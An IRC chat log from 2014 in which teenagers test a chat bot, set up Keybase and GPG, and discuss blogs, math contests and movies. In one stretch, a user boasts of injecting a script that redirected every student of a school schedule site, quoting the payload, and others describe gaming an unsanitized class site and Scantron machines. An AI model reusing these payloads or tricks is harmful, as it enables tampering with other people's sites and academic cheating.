[2014-12-21T18:29:43-0500] <+Tamini> this game
[2014-12-21T18:30:32-0500] <alokpathy> @choose alokpathy Tamini 
[2014-12-21T18:30:32-0500] <+awebot> alokpathy: alokpathy Tamini 
[2014-12-21T18:30:37-0500] <alokpathy> @choose alokpathy or Tamini 
[2014-12-21T18:30:37-0500] <+awebot> alokpathy: alokpathy
[2014-12-21T18:30:40-0500] <alokpathy> yesssssssssssssssssss
[2014-12-21T18:31:31-0500] <jwoglom> @choose me or jwoglom
[2014-12-21T18:31:31-0500] <+awebot> jwoglom: jwoglom
[2014-12-21T18:31:35-0500] <jwoglom> tada.
[2014-12-21T18:31:55-0500] <@awe> sent
[2014-12-21T18:35:30-0500] <+Tamini> goddammit
[2014-12-21T18:35:34-0500] <+Tamini> @choose alokpathy or Tamini
[2014-12-21T18:35:34-0500] <+awebot> Tamini: Tamini
[2014-12-21T18:35:36-0500] <+Tamini> se?
[2014-12-21T18:35:38-0500] <+Tamini> see*
[2014-12-21T18:35:38-0500] <+Tamini> i win
[2014-12-21T18:36:10-0500] <alokpathy> @choose alokpathy or Tamini 
[2014-12-21T18:36:10-0500] <+awebot> alokpathy: alokpathy
[2014-12-21T18:36:13-0500] <alokpathy> @choose alokpathy or Tamini 
[2014-12-21T18:36:13-0500] <+awebot> alokpathy: Tamini 
[2014-12-21T18:36:15-0500] <alokpathy> @choose alokpathy or Tamini 
[2014-12-21T18:36:15-0500] <+awebot> alokpathy: Tamini 
[2014-12-21T18:36:17-0500] <alokpathy> @choose alokpathy or Tamini 
[2014-12-21T18:36:17-0500] <+awebot> alokpathy: alokpathy
[2014-12-21T18:36:18-0500] <alokpathy> @choose alokpathy or Tamini 
[2014-12-21T18:36:18-0500] <+awebot> alokpathy: Tamini 
[2014-12-21T18:36:19-0500] <alokpathy> @choose alokpathy or Tamini 
[2014-12-21T18:36:19-0500] <+awebot> alokpathy: Tamini 
[2014-12-21T18:36:20-0500] <alokpathy> @choose alokpathy or Tamini 
[2014-12-21T18:36:20-0500] <+awebot> alokpathy: alokpathy
[2014-12-21T18:36:20-0500] <+Tamini> i'm kinda awesome
[2014-12-21T18:36:21-0500] <alokpathy> @choose alokpathy or Tamini 
[2014-12-21T18:36:21-0500] <+awebot> alokpathy: Tamini 
[2014-12-21T18:36:22-0500] <+Tamini> sweetie
[2014-12-21T18:36:22-0500] <+Tamini> stop trying
[2014-12-21T18:36:27-0500] <alokpathy> .-.
[2014-12-21T18:36:36-0500] <alokpathy> [cries]
[2014-12-21T18:36:49-0500] <@awe> @keybase hardmath123
[2014-12-21T18:36:50-0500] <+awebot> awe: Something went wrong!
[2014-12-21T18:36:58-0500] <alokpathy> @keybase at
[2014-12-21T18:36:58-0500] <+awebot> alokpathy: Keybase: at GitHub: alextaka
[2014-12-21T18:36:59-0500] <@awe> no account yet :(
[2014-12-21T18:37:03-0500] <alokpathy> @keybase alokt
[2014-12-21T18:37:03-0500] <+awebot> alokpathy: Keybase: alokt GitHub: kullalok
[2014-12-21T18:37:04-0500] <+ubuntor> @keybase
[2014-12-21T18:37:08-0500] <@awe> @keybase ubuntor
[2014-12-21T18:37:09-0500] <+awebot> awe: Keybase: ubuntor Twitter: ubuntor GitHub: ubuntor
[2014-12-21T18:37:09-0500] <@awe> :D
[2014-12-21T18:37:15-0500] <+ubuntor> @keybase  
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[2014-12-21T18:37:21-0500] <+ubuntor> ooh
[2014-12-21T18:37:31-0500] <@awe> keybase + space?
[2014-12-21T18:37:32-0500] <@awe> right?
[2014-12-21T18:37:34-0500] <+ubuntor> yeah
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[2014-12-21T18:38:06-0500] <+Tamini> lol
[2014-12-21T18:38:17-0500] <+ubuntor> safeguards against that to follow?
[2014-12-21T18:38:21-0500] <alokpathy> I should use keybase more.
[2014-12-21T18:38:27-0500] <+Tamini> alokpathy: yes we need to send each other
[2014-12-21T18:38:29-0500] <+Tamini> encrypted emails
[2014-12-21T18:38:41-0500] <alokpathy> So Ben can't read them.
[2014-12-21T18:39:17-0500] <+Tamini> why would ben read them?
[2014-12-21T18:39:22-0500] <alokpathy> He's the NSA.
[2014-12-21T18:40:00-0500] <@awe> ubuntor: yes.
[2014-12-21T18:40:17-0500] <+Tamini> ah
[2014-12-21T18:40:37-0500] <@awe> ubuntor: the weird thing is I'm not actually sure why that crashed it yet.
[2014-12-21T18:41:02-0500] <jwoglom> @keybase
[2014-12-21T18:41:21-0500] <jwoglom> hm. that didn't crash it
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[2014-12-21T18:41:28-0500] <@awe> ubuntor: was it two spaces?
[2014-12-21T18:41:30-0500] <@awe> @keybase  
[2014-12-21T18:41:32-0500] <@awe> @keybase 
[2014-12-21T18:41:34-0500] <@awe> @keybase    
[2014-12-21T18:41:35-0500] <@awe> @keybase       
[2014-12-21T18:41:40-0500] <@awe> @keybase k 
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[2014-12-21T18:41:51-0500] <@awe> Ah, that's something.
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[2014-12-21T18:42:27-0500] <@awe> @keybase k  
[2014-12-21T18:42:29-0500] <@awe> @keybase k 
[2014-12-21T18:42:33-0500] <@awe> @keybase   
[2014-12-21T18:42:35-0500] <@awe> @keybase _ 
[2014-12-21T18:42:36-0500] <@awe> @keybase _ _
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[2014-12-21T18:43:05-0500] <+Tamini> oh, this is great
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[2014-12-21T18:43:11-0500] <@awe> @keybase _ _
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[2014-12-21T18:43:18-0500] <+Tamini> i'm playing 100% orange juice with my friend and rng is very obviously biased towards me
[2014-12-21T18:44:11-0500] <@awe> uwotm8
[2014-12-21T18:44:15-0500] <@awe> this stacktrace makes NO sense?
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[2014-12-21T18:45:03-0500] <@awe> @keybase _ _
[2014-12-21T18:45:07-0500] <@awe> Nope.
[2014-12-21T18:45:11-0500] <@awe> Without the plugin, no crash.
[2014-12-21T18:45:20-0500] <@awe> but the stacktrace doesn't even MENTION the plugin.
[2014-12-21T18:45:54-0500] <@awe> @keybase sigh
[2014-12-21T18:45:54-0500] <+awebot> awe: Something went wrong!
[2014-12-21T18:45:57-0500] <@awe> @keybase awe
[2014-12-21T18:45:57-0500] <+awebot> awe: Keybase: awe Twitter: aatxe GitHub: aatxe Reddit: aaronweiss74 Coinbase: coinbase/awe Website: deviant-core.net Website: pdgn.co Website: aaronweiss.us
[2014-12-21T18:46:22-0500] <@awe> This might all fall under the same issue of my needing to figure out how to dylib openssl.
[2014-12-21T19:06:25-0500] <hardmath123> "No one else in the world has a face like yours, or this invitation code, and both are beautiful."
[2014-12-21T19:06:30-0500] <hardmath123> I like this service already.
[2014-12-21T19:09:21-0500] <hardmath123> @keybase hardmath123
[2014-12-21T19:09:22-0500] <+awebot> hardmath123: Something went wrong!
[2014-12-21T19:09:25-0500] <hardmath123> :(
[2014-12-21T19:10:24-0500] <alokpathy> hardmath123: y u no have keybase
[2014-12-21T19:11:19-0500] <hardmath123> @keybase hardmath123
[2014-12-21T19:11:19-0500] <+awebot> hardmath123: Something went wrong!
[2014-12-21T19:11:27-0500] <hardmath123> @keybase hardmath123
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[2014-12-21T19:11:31-0500] <hardmath123> ...
[2014-12-21T19:13:00-0500] <@awe> hardmath123: lol
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[2014-12-21T19:13:17-0500] <@awe> @keybase hardmath123
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[2014-12-21T19:13:19-0500] <@awe> Yeah.
[2014-12-21T19:13:20-0500] <@awe> I know why.
[2014-12-21T19:13:23-0500] <@awe> You found an actual bug.
[2014-12-21T19:13:48-0500] <+Tamini> what was it?
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[2014-12-21T19:14:52-0500] <@awe> @keybase hardmath123
[2014-12-21T19:14:53-0500] <+awebot> awe: Keybase: hardmath123 Website: hardmath123.github.io
[2014-12-21T19:14:56-0500] <@awe> O.
[2014-12-21T19:14:59-0500] <@awe> Great. He added something.
[2014-12-21T19:15:10-0500] <@awe> @keybase nezorg
[2014-12-21T19:15:10-0500] <+awebot> awe: Something went wrong!
[2014-12-21T19:15:13-0500] <@awe> a user with no key does that
[2014-12-21T19:15:20-0500] <@awe> but a user with a key and nothing else
[2014-12-21T19:15:21-0500] <@awe> broke it.
[2014-12-21T19:15:25-0500] <@awe> But I think I fixed that.
[2014-12-21T19:15:33-0500] <@awe> I just don't know how to test now.
[2014-12-21T19:16:26-0500] <hardmath123> @keybase hardmath123
[2014-12-21T19:16:26-0500] <+awebot> hardmath123: Keybase: hardmath123 GitHub: hardmath123 Website: hardmath123.github.io
[2014-12-21T19:16:31-0500] <hardmath123> Yay.
[2014-12-21T19:16:49-0500] <hardmath123> Now I can talk to you folks secretly like a 1337 haxxor.
[2014-12-21T19:16:53-0500] <+Tamini> lol
[2014-12-21T19:17:32-0500] <+Tamini> best way to use it
[2014-12-21T19:17:38-0500] <+Tamini> is to send encrypted love letters
[2014-12-21T19:17:39-0500] <+Tamini> <3
[2014-12-21T19:18:29-0500] <@awe> hardmath123: "except for Chemistry, where my teacher has a hand-coded webpage"
[2014-12-21T19:18:31-0500] <@awe> hardmath123: OH LORD.
[2014-12-21T19:18:36-0500] <@awe> hardmath123: I'm so sorry.
[2014-12-21T19:18:44-0500] <@awe> <SCRIPT LANGUAGE="Javascript"><!--...//-->
[2014-12-21T19:18:57-0500] <hardmath123> awe: I got into it in an hour. Still too squeamish to tell him, though.
[2014-12-21T19:19:03-0500] <@awe> "One of my classes runs on ClassroomDojo, which is essentially the Karma system applied to class participation, and directly linked to grading."
[2014-12-21T19:19:10-0500] <@awe> hardmath123: I'd downvote literally everyone.
[2014-12-21T19:19:52-0500] <@awe> hardmath123: websites that don't sanitize html are the best.
[2014-12-21T19:20:02-0500] <@awe> hardmath123: this kid made a tool for my school to match people's schedules up.
[2014-12-21T19:20:20-0500] <hardmath123> oh my
[2014-12-21T19:20:36-0500] <@awe> hardmath123: so, I put <script>window.location = "http://pornhub.com";</script>
[2014-12-21T19:20:41-0500] <@awe> in my name
[2014-12-21T19:20:52-0500] <@awe> and basically, once you logged in after inputting your schedule, you got a page with everyone's name by class
[2014-12-21T19:20:58-0500] <@awe> I knew that every kid in my district has to have a study hall.
[2014-12-21T19:21:05-0500] <@awe> So, I signed up every period for study hall.
[2014-12-21T19:21:11-0500] <@awe> So, everyone got redirected to pornhub.com.
[2014-12-21T19:21:30-0500] <+Tamini> lolol
[2014-12-21T19:21:34-0500] <hardmath123> win
[2014-12-21T19:21:43-0500] <@awe> It was great.
[2014-12-21T19:21:59-0500] <@awe> Afterward, he did some sanitization.
[2014-12-21T19:22:04-0500] <@awe> Fifteen minutes later, pornhub again.
[2014-12-21T19:22:19-0500] <+Tamini> :P
[2014-12-21T19:22:59-0500] <hardmath123> Tamini: good enough? http://notepad.cc/netecca81
[2014-12-21T19:23:30-0500] <@awe> hardmath123: can you sign a message for me verifying that that is indeed you?
[2014-12-21T19:23:45-0500] <@awe> hardmath123: I can't track you otherwise.
[2014-12-21T19:24:00-0500] <hardmath123> I think I mentioned 'Mindspark' in that article. It didn't sanitize user input. I got a 110% in that class.
[2014-12-21T19:24:13-0500] <@awe> Please tell me you cheated?
[2014-12-21T19:24:44-0500] <hardmath123> I was almost compelled to ace the class *without* cheating because it was so darn easy..
[2014-12-21T19:24:57-0500] <@awe> hardmath123: "Almost every class uses Scantrons, though the net increase in mis-bubbling, mis-grading, and overall stress made me realize that it might actually be less work for teachers to just check circled answers on a printout."
[2014-12-21T19:25:47-0500] <+Tamini> LOL
[2014-12-21T19:25:49-0500] <@awe> hardmath123: If you have particularly shiny graphite and fill in over the black boxes on the left-sides of the forms and the machine is an older one, it'll skip over questions that you mark.
[2014-12-21T19:25:51-0500] <+Tamini> hardmath123: that was the
[2014-12-21T19:25:57-0500] <+Tamini> most romantic love letter I have ever received
[2014-12-21T19:26:07-0500] <+Tamini> aren't you underage? :P
[2014-12-21T19:26:10-0500] <@awe> hardmath123: since they generally don't mark what's right, skipping over a question is the same as getting it right.
[2014-12-21T19:26:45-0500] <@awe> hardmath123: "is the problem really that students are too embarrassed to raise their hands? I doubt it."
[2014-12-21T19:26:52-0500] <@awe> hardmath123: n. 90% of the time it's that they don't give a fuck.
[2014-12-21T19:26:58-0500] <hardmath123> awe: http://notepad.cc/soverru80
[2014-12-21T19:27:34-0500] <hardmath123> awe: in which case making them use an app to ask a question helps how?
[2014-12-21T19:27:43-0500] <@awe> It doesn't.
[2014-12-21T19:27:52-0500] <hardmath123> also, since when do people read my blog? O_o
[2014-12-21T19:27:58-0500] <@awe> Since I was linked to it.
[2014-12-21T19:28:05-0500] <@awe> Nobody reads my blog either. :)
[2014-12-21T19:28:16-0500] <+Tamini> ooh
[2014-12-21T19:28:18-0500] <+Tamini> link me :O
[2014-12-21T19:28:29-0500] <@awe> you know it already?
[2014-12-21T19:28:29-0500] <+Tamini> i wanna read his blog.
[2014-12-21T19:28:33-0500] <@awe> oh, his?
[2014-12-21T19:28:34-0500] <+Tamini> i do?
[2014-12-21T19:28:39-0500] <@awe> @keybase hardmath123
[2014-12-21T19:28:41-0500] <+awebot> awe: Keybase: hardmath123 GitHub: hardmath123 Website: hardmath123.github.io
[2014-12-21T19:28:43-0500] <@awe> ^
[2014-12-21T19:28:45-0500] <@awe> and mine?
[2014-12-21T19:28:47-0500] <@awe> @keybase awe
[2014-12-21T19:28:48-0500] <+awebot> awe: Keybase: awe Twitter: aatxe GitHub: aatxe Reddit: aaronweiss74 Coinbase: coinbase/awe Website: deviant-core.net Website: pdgn.co Website: aaronweiss.us
[2014-12-21T19:28:49-0500] <@awe> ^
[2014-12-21T19:29:19-0500] <@awe> hardmath123: can you confirm the contents of the message?
[2014-12-21T19:29:29-0500] <@awe> hardmath123: PM them to me.
[2014-12-21T19:30:23-0500] <@awe> I can now confirm publicly that hardmath123 is indeed hardmath123.
[2014-12-21T19:31:34-0500] <+Tamini> :P
[2014-12-21T19:31:41-0500] <+Tamini> can i write awe a message
[2014-12-21T19:32:23-0500] <hardmath123> I'm still not entirely sure I understand tracking. I'm just saving a signed copy of <???> which tells me <???> when I do <???>.
[2014-12-21T19:32:44-0500] <@awe> On December 21st, 2014, I confirmed that hardmath123 ath123 on Keybase.
[2014-12-21T19:33:03-0500] <@awe> Erm.
[2014-12-21T19:33:16-0500] <@awe> On December 21st, 2014, I can confirm that hardmath123 on PdgnCo is hardmath123 on Keybase.
[2014-12-21T19:33:21-0500] <@awe> Here's a signature confirming that I am me: Here's a signature confirming that I am indeed mee.
[2014-12-21T19:33:22-0500] <@awe> erm
[2014-12-21T19:33:27-0500] <@awe> http://sprunge.us/HQYS
[2014-12-21T19:33:28-0500] <@awe> There you go.
[2014-12-21T19:33:34-0500] <@awe> Sorry for the fuck-ups, guys.
[2014-12-21T19:34:22-0500] <@awe> hardmath123: By tracking you, I've signed a profile of you for myself.
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[2014-12-21T19:34:44-0500] <@awe> hardmath123: Thus, when Keybase sends me a profile, I can test if it matches my signature and know that it is indeed the correct profile and thus the correct you.
[2014-12-21T19:35:16-0500] <@awe> hardmath123: If Keybase was compromised and sent me the wrong you, I'd know that it doesn't match my profile of you.
[2014-12-21T19:35:54-0500] <@awe> hardmath123: I think Keybase actually signs and encrypts the profile to me though. That way only I can read it, and the signature is carried with it.
[2014-12-21T19:35:59-0500] <+Tamini> awe: http://notepad.cc/hejaiga11
[2014-12-21T19:36:00-0500] <@awe> hardmath123: Similar to the message you just sent me.
[2014-12-21T19:36:50-0500] <@awe> Tamini: this message was not encrypted for me to receive.
[2014-12-21T19:36:54-0500] <+Tamini> wait
[2014-12-21T19:36:55-0500] <+Tamini> was it not
[2014-12-21T19:36:56-0500] <+Tamini> shit
[2014-12-21T19:36:57-0500] <+Tamini> um
[2014-12-21T19:37:02-0500] <+Tamini> One second.
[2014-12-21T19:37:09-0500] <+Tamini> ...yes it was?
[2014-12-21T19:37:17-0500] <@awe> I do not have a key with the fingerprint 72C4F7BD65A0E1B3.
[2014-12-21T19:37:20-0500] <+Tamini> @keybase awe
[2014-12-21T19:37:21-0500] <+awebot> Tamini: Keybase: awe Twitter: aatxe GitHub: aatxe Reddit: aaronweiss74 Coinbase: coinbase/awe Website: deviant-core.net Website: pdgn.co Website: aaronweiss.us
[2014-12-21T19:37:22-0500] <hardmath123> so I tried `keybase track awe`
[2014-12-21T19:37:42-0500] <hardmath123> and it showed me your creds and asked whether it should track you
[2014-12-21T19:37:44-0500] <hardmath123> and I said yes
[2014-12-21T19:37:57-0500] <hardmath123> and then it was like "You need a passphrase to unlock the secret key for [...]"
[2014-12-21T19:38:05-0500] <hardmath123> and it's just sitting there, now
[2014-12-21T19:38:21-0500] <+Tamini> weird.
[2014-12-21T19:39:15-0500] <@awe> hardmath123: oh, it must be hanging.
[2014-12-21T19:39:16-0500] <@awe> hardmath123: I dunno.
[2014-12-21T19:39:48-0500] <+Tamini> wait awe
[2014-12-21T19:39:49-0500] <+Tamini> are you sure
[2014-12-21T19:39:53-0500] <+Tamini> im pretty sure i did that right
[2014-12-21T19:39:53-0500] <+Tamini> um
[2014-12-21T19:39:59-0500] <+Tamini> let me fix that
[2014-12-21T19:41:25-0500] <hardmath123> awe: well, i feel it wants me to type a passphrase
[2014-12-21T19:41:30-0500] <@awe> Oh, yes.
[2014-12-21T19:41:32-0500] <@awe> hardmath123: for your key.
[2014-12-21T19:41:33-0500] <hardmath123> awe: but whatever i type is in cleartext
[2014-12-21T19:41:38-0500] <@awe> It's not transmitted.
[2014-12-21T19:41:47-0500] <hardmath123> but it shows up on the screen
[2014-12-21T19:41:49-0500] <@awe> Weird.
[2014-12-21T19:41:54-0500] <@awe> It shouldn't.
[2014-12-21T19:42:06-0500] <@awe> Are you on Windoze?
[2014-12-21T19:42:15-0500] <hardmath123> nope, mac
[2014-12-21T19:43:21-0500] <@awe> how'd you install node?
[2014-12-21T19:44:27-0500] <hardmath123> homebrew
[2014-12-21T19:45:20-0500] <@awe> Weird.
[2014-12-21T19:45:21-0500] <+Tamini> "i write english and javascript"
[2014-12-21T19:45:23-0500] <+Tamini> :P
[2014-12-21T19:45:28-0500] <@awe> hardmath123: exact same thing here, and no issue.
[2014-12-21T19:45:43-0500] <@awe> hardmath123: how'd you install gpg?
[2014-12-21T19:47:13-0500] <hardmath123> brew install gpg2, afaik
[2014-12-21T19:47:30-0500] <@awe> hardmath123: gpg --version?
[2014-12-21T19:50:04-0500] <hardmath123> it's linked as gpg2
[2014-12-21T19:50:07-0500] <hardmath123> that might be the issue
[2014-12-21T19:50:38-0500] <hardmath123> but gpg (GnuPG) 2.0.25
[2014-12-21T19:50:39-0500] <hardmath123> libgcrypt 1.6.1
[2014-12-21T19:52:43-0500] <@awe> hardmath123: brew uninstall gpg2 && brew install gpg
[2014-12-21T19:55:16-0500] <@awe> Tamini: http://sprunge.us/JZQe
[2014-12-21T19:58:19-0500] <+Tamini> :D
[2014-12-21T19:58:39-0500] <@awe> Ah, so, I can track you now.
[2014-12-21T19:59:44-0500] <+Tamini> yes, yes you can
[2014-12-21T20:14:01-0500] <+Tamini> hardmath123: I just read your entire blog :P
[2014-12-21T20:16:44-0500] <hardmath123> Tamini: ...
[2014-12-21T20:16:50-0500] <hardmath123> Tamini: it's like 25,000 words
[2014-12-21T20:17:02-0500] <+Tamini> so it took me like over an hour
[2014-12-21T20:17:04-0500] <+Tamini> but i read all of it :O
[2014-12-21T20:17:07-0500] <hardmath123> Tamini: <3
[2014-12-21T20:17:15-0500] <+Tamini> :)
[2014-12-21T20:17:16-0500] <hardmath123> Tamini: you might be the only non-me person to do that
[2014-12-21T20:17:25-0500] <+Tamini> it's interesting.
[2014-12-21T20:17:30-0500] <+Tamini> lord of the strings made me laugh.
[2014-12-21T20:17:36-0500] <hardmath123> Wow homebrew be like "==> Installing gnupg dependency: curl", and downloads it over curl.
[2014-12-21T20:17:50-0500] <@awe> hardmath123: yah
[2014-12-21T20:17:55-0500] <@awe> hardmath123: Apple curl vs GNU curl.
[2014-12-21T20:18:04-0500] <+Tamini> can i share this with my friends :P
[2014-12-21T20:18:12-0500] <@awe> I'll read the rest of your blog some day.
[2014-12-21T20:18:54-0500] <hardmath123> awe: tracking you
[2014-12-21T20:18:57-0500] <+Tamini> "grep is the purest of spells"
[2014-12-21T20:18:58-0500] <hardmath123> Tamini: sure
[2014-12-21T20:18:58-0500] <@awe> Yay.
[2014-12-21T20:19:48-0500] <hardmath123> Tamini: are you Taminiora on Twitter?
[2014-12-21T20:20:06-0500] <+Tamini> uh
[2014-12-21T20:20:08-0500] <+Tamini> maybe?
[2014-12-21T20:20:11-0500] <+Tamini> I don't actually use twitter.
[2014-12-21T20:20:12-0500] <+Tamini> ever.
[2014-12-21T20:20:43-0500] <jwoglom> Tamini: you have one tweet lol
[2014-12-21T20:20:45-0500] <jwoglom> and it's the keybase proof
[2014-12-21T20:20:56-0500] <hardmath123> nice, tracking Tamini.
[2014-12-21T20:21:11-0500] <hardmath123> I love how "tracking <insert person's name here>" doesn't sound creepy to me anymore
[2014-12-21T20:21:15-0500] <+Tamini> :P
[2014-12-21T20:21:16-0500] <+Tamini> oh whoa
[2014-12-21T20:21:22-0500] <+Tamini> http://hardmath123.github.io/math.html
[2014-12-21T20:21:29-0500] <+Tamini> hardmath123, I think I might be in love with you
[2014-12-21T20:21:36-0500] <+Tamini> that blog post did more to seduce me than your love letter.
[2014-12-21T20:22:39-0500] <hardmath123> Tamini: Aww...
[2014-12-21T20:23:12-0500] <+Tamini> you basically
[2014-12-21T20:23:18-0500] <+Tamini> wrote down my thoughts except eloquently :P
[2014-12-21T20:23:31-0500] <hardmath123> Tamini: So my parents actually somehow read that, and then lectured me on how you should do what you want but that should include AIME. :P
[2014-12-21T20:23:38-0500] <hardmath123> I think they misunderstood.
[2014-12-21T20:23:43-0500] <+Tamini> I find AIME really interesting, though.
[2014-12-21T20:23:54-0500] <+Tamini> Most AIME problems are fairly well-constructed
[2014-12-21T20:24:03-0500] <+Tamini> and sometimes doing stuff under a little bit of time pressure is fun!
[2014-12-21T20:24:03-0500] <hardmath123> USAMTS > AIME > most others
[2014-12-21T20:24:07-0500] <+Tamini> definitely
[2014-12-21T20:24:24-0500] <hardmath123> though I'm putting PicoCTF's RSA problems over all of those
[2014-12-21T20:24:31-0500] <+Tamini> also AMCs: I'd say the first 20 are trivial, last 5 are less trivial
[2014-12-21T20:24:33-0500] <+Tamini> and LOL why
[2014-12-21T20:24:49-0500] <hardmath123> because it's a lot more fun
[2014-12-21T20:24:56-0500] <+Tamini> eh
[2014-12-21T20:24:58-0500] <+ubuntor> hardmath123: you should do the matasano crypto challenges
[2014-12-21T20:25:01-0500] <+Tamini> I think USAMO problems are most fun wheee
[2014-12-21T20:25:09-0500] <+Tamini> except i cant solve them so
[2014-12-21T20:25:10-0500] <+Tamini> :P
[2014-12-21T20:25:17-0500] <hardmath123> i bet if someone made a pure math competition that had a Picoey interface (live scores from schools), people would love it.
[2014-12-21T20:25:25-0500] <+Tamini> umm
[2014-12-21T20:25:28-0500] <+Tamini> but the thing is
[2014-12-21T20:25:31-0500] <+Tamini> people would solve all of it in like
[2014-12-21T20:25:35-0500] <hardmath123> ubuntor: I did the first set. I liked it. :)
[2014-12-21T20:25:40-0500] <+ubuntor> nice
[2014-12-21T20:26:05-0500] <+ubuntor> oh hey, bleichenbacher is in set 6
[2014-12-21T20:26:06-0500] <+ubuntor> neat
[2014-12-21T20:26:25-0500] <hardmath123> btw Tamini have you read my blog's source html? :P
[2014-12-21T20:26:39-0500] <+Tamini> oh darn
[2014-12-21T20:26:41-0500] <+Tamini> how could I not? :O
[2014-12-21T20:26:53-0500] <+Tamini> LOL
[2014-12-21T20:26:55-0500] <+Tamini> No, no I don't
[2014-12-21T20:26:56-0500] <+Tamini> <3
[2014-12-21T20:27:00-0500] <hardmath123> ubuntor: there's a Matasano office near where I live, so I'm going to ask thme if I can intern.
[2014-12-21T20:27:17-0500] <+Tamini> hardmath123: I think I talked to them at csaw and they made it pretty clear they wanted college kids tho :/
[2014-12-21T20:27:33-0500] <hardmath123> Aww
[2014-12-21T20:27:39-0500] <hardmath123> but i'm like a 10 minute drive away
[2014-12-21T20:27:48-0500] <hardmath123> I'll even bake them a cake shaped like the internet!
[2014-12-21T20:27:58-0500] <+ubuntor> a series of tubes?
[2014-12-21T20:28:04-0500] <+Tamini> LOL
[2014-12-21T20:28:10-0500] <+Tamini> can you bake me a cake shaped like the internet <3
[2014-12-21T20:28:15-0500] <+Tamini> also, are you coming to hmmt or no?
[2014-12-21T20:29:02-0500] <hardmath123> Tamini: I don't actually know. Probably, but idk if I have tickets.
[2014-12-21T20:29:04-0500] <hardmath123> :P
[2014-12-21T20:29:04-0500] <@awe> hardmath123: " and they even do hand excercises to warm up."
[2014-12-21T20:29:09-0500] <@awe> hardmath123: Oh my god.
[2014-12-21T20:29:10-0500] <alokpathy> hardmath123: You should come :P
[2014-12-21T20:29:14-0500] <+Tamini> hardmath123: you should come and hang out with us
[2014-12-21T20:29:22-0500] <hardmath123> yeah, that's actually my primary motivation
[2014-12-21T20:29:24-0500] <@awe> hardmath123: I can't have one in my hand without compulsively doing this one finger trick.
[2014-12-21T20:29:28-0500] <+Tamini> then I won't feel like I'm missing out on anything by skipping arml
[2014-12-21T20:29:31-0500] <+Tamini> <3
[2014-12-21T20:29:54-0500] <+Tamini> hardmath123: basically my teammates are used to me disappearing with this random indian kid and not coming back at a lot of competitions :P
[2014-12-21T20:30:00-0500] <hardmath123> brb making ikea furniture. i feel so hardcore using a power drill
[2014-12-21T20:30:07-0500] <alokpathy> Tamini: Who is he?
[2014-12-21T20:30:09-0500] <alokpathy> Je
[2014-12-21T20:30:16-0500] <@awe> hardmath123: lol
[2014-12-21T20:30:17-0500] <alokpathy> He looks pretty awesome.
[2014-12-21T20:30:22-0500] <+ubuntor> lol
[2014-12-21T20:30:34-0500] <+Tamini> alokpathy: iunno, some random kid that goes to wwp
[2014-12-21T20:30:41-0500] <+Tamini> he found me a cool crypto book, so I guess he's pretty okay
[2014-12-21T20:30:44-0500] <alokpathy> Tamini: I bet it's JacobEdelman
[2014-12-21T20:31:06-0500] <alokpathy> Yeah, defz Jacob
[2014-12-21T20:31:15-0500] <+Tamini> yep, obviously
[2014-12-21T20:31:35-0500] <@awe> Jacob is definitely indian.
[2014-12-21T20:33:21-0500] <alokpathy> A very pale one, though.
[2014-12-21T20:34:55-0500] <+Tamini> and looks quite jewish
[2014-12-21T20:35:45-0500] <+Tamini> oh oh oh guys
[2014-12-21T20:35:51-0500] <+Tamini> if I want to have a geeky movie marathon
[2014-12-21T20:35:55-0500] <+Tamini> whta are some suggestions
[2014-12-21T20:39:31-0500] <alokpathy> Interstellar 
[2014-12-21T20:39:35-0500] <alokpathy> Guardians
[2014-12-21T20:39:55-0500] <alokpathy> lol there's a movie called Travelling Salesman
[2014-12-21T20:39:58-0500] <alokpathy> that's about TSP
[2014-12-21T20:40:07-0500] <alokpathy> except it's pretty bad LOL
[2014-12-21T20:40:11-0500] <alokpathy> Oh wiat
[2014-12-21T20:40:11-0500] <bob_twinkles> well it's about solving P=NP
[2014-12-21T20:40:13-0500] <bob_twinkles> and yeah
[2014-12-21T20:40:29-0500] <alokpathy> Oh, yeah, they don't actually mention TSP in the whole movie iirc.
[2014-12-21T20:40:35-0500] <alokpathy> Maybe once.
[2014-12-21T20:40:43-0500] <alokpathy> There's a movie about Alan Turing I heard.
[2014-12-21T20:40:43-0500] <bob_twinkles> Idunno, I never watched it
[2014-12-21T20:40:52-0500] <bob_twinkles> saw the trailer, decided that would be a traumatic experience
[2014-12-21T20:40:56-0500] <alokpathy> I did over the summer with a few friends.
[2014-12-21T20:41:03-0500] <alokpathy> It was pretty funny how bad it was.
[2014-12-21T20:41:11-0500] <alokpathy> The entire movie was basically in one room.
[2014-12-21T20:41:20-0500] <bob_twinkles> that can work
[2014-12-21T20:41:24-0500] <Hyper> alokpathy: The Imitation Game
[2014-12-21T20:41:25-0500] <bob_twinkles> 12 angry men for example
[2014-12-21T20:41:26-0500] <Hyper> it's very good
[2014-12-21T20:41:37-0500] <jwoglom> also the snowden movie
[2014-12-21T20:41:40-0500] <alokpathy> Hyper: Oh, is that what the Turing movie is called?
[2014-12-21T20:41:42-0500] <Hyper> Also Theory of Everything is pretty great
[2014-12-21T20:41:44-0500] <Hyper> alokpathy: yeah
[2014-12-21T20:41:47-0500] <alokpathy> Ah, nice
[2014-12-21T20:41:52-0500] <+ubuntor> fermat's last tango :P
[2014-12-21T20:42:02-0500] <alokpathy> jwoglom: There's a movie about Snowden?
[2014-12-21T20:42:06-0500] <alokpathy> Yo we should watch The Interview
[2014-12-21T20:42:08-0500] <+ubuntor> tron
[2014-12-21T20:42:22-0500] <jwoglom> alokpathy: citizenfour
[2014-12-21T20:42:27-0500] <alokpathy> Hmm, interesting
[2014-12-21T20:42:36-0500] <+Tamini> alokpathy: I'm going to watch citizenfour tuesday (hopefully)
[2014-12-21T20:42:38-0500] <+Tamini> that should be fun <3
[2014-12-21T20:42:54-0500] <alokpathy> Tamini: At a theater or where?
[2014-12-21T20:42:59-0500] <alokpathy> Or is it even in theaters? xD
[2014-12-21T20:43:05-0500] <+Tamini> jwoglom: what are we doing man
[2014-12-21T20:43:08-0500] <jwoglom> alokpathy: it's in a couple theaters in dc
[2014-12-21T20:43:20-0500] <+Tamini> alokpathy: i watched all those movies already D: the shaaame
[2014-12-21T20:43:20-0500] <+Tamini> LOL
[2014-12-21T20:43:36-0500] <+ubuntor> there's Demoscene - The Art of the Algorithms for a good documentary
[2014-12-21T20:43:38-0500] <jwoglom> Tamini: i dunno, i'll figure it out
[2014-12-21T20:43:46-0500] <alokpathy> Tamini: Yo can I Skype in?
[2014-12-21T20:43:52-0500] <alokpathy> just bring your laptop to the theater
[2014-12-21T20:44:26-0500] <+Tamini> LOL
[2014-12-21T20:44:33-0500] <+Tamini> it's jwoglom's call on that :P
[2014-12-21T20:44:40-0500] <jwoglom> i don't think the theater would like that :P
